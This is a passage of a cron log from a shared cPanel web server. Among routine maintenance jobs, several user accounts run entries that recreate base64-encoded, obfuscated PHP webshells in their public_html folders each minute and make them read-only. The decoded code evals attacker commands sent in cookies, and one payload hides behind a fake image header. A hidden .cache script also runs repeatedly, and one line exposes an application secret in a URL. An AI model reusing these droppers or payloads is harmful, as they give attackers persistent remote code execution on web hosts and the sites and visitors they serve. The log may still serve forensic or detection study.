CAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:07:01 medusa CROND[2500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:07:01 medusa CROND[2501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:07:01 medusa CROND[2502]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:07:01 medusa CROND[2504]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:07:01 medusa CROND[2507]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:07:01 medusa CROND[2508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:07:01 medusa CROND[2503]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:07:01 medusa CROND[2510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:07:01 medusa CROND[2512]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:07:01 medusa CROND[2514]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:07:01 medusa CROND[2513]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:08:01 medusa CROND[4032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:08:01 medusa CROND[4080]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 09:08:01 medusa CROND[4083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:08:01 medusa CROND[4084]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:08:01 medusa CROND[4085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:08:01 medusa CROND[4086]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:08:01 medusa CROND[4087]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:08:01 medusa CROND[4089]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:08:01 medusa CROND[4090]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:08:01 medusa CROND[4088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:08:01 medusa CROND[4091]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:08:01 medusa CROND[4095]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:08:01 medusa CROND[4097]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:08:01 medusa CROND[4098]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:09:02 medusa CROND[5820]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:09:02 medusa CROND[5821]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 09:09:02 medusa CROND[5822]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:09:02 medusa CROND[5823]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:09:02 medusa CROND[5825]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
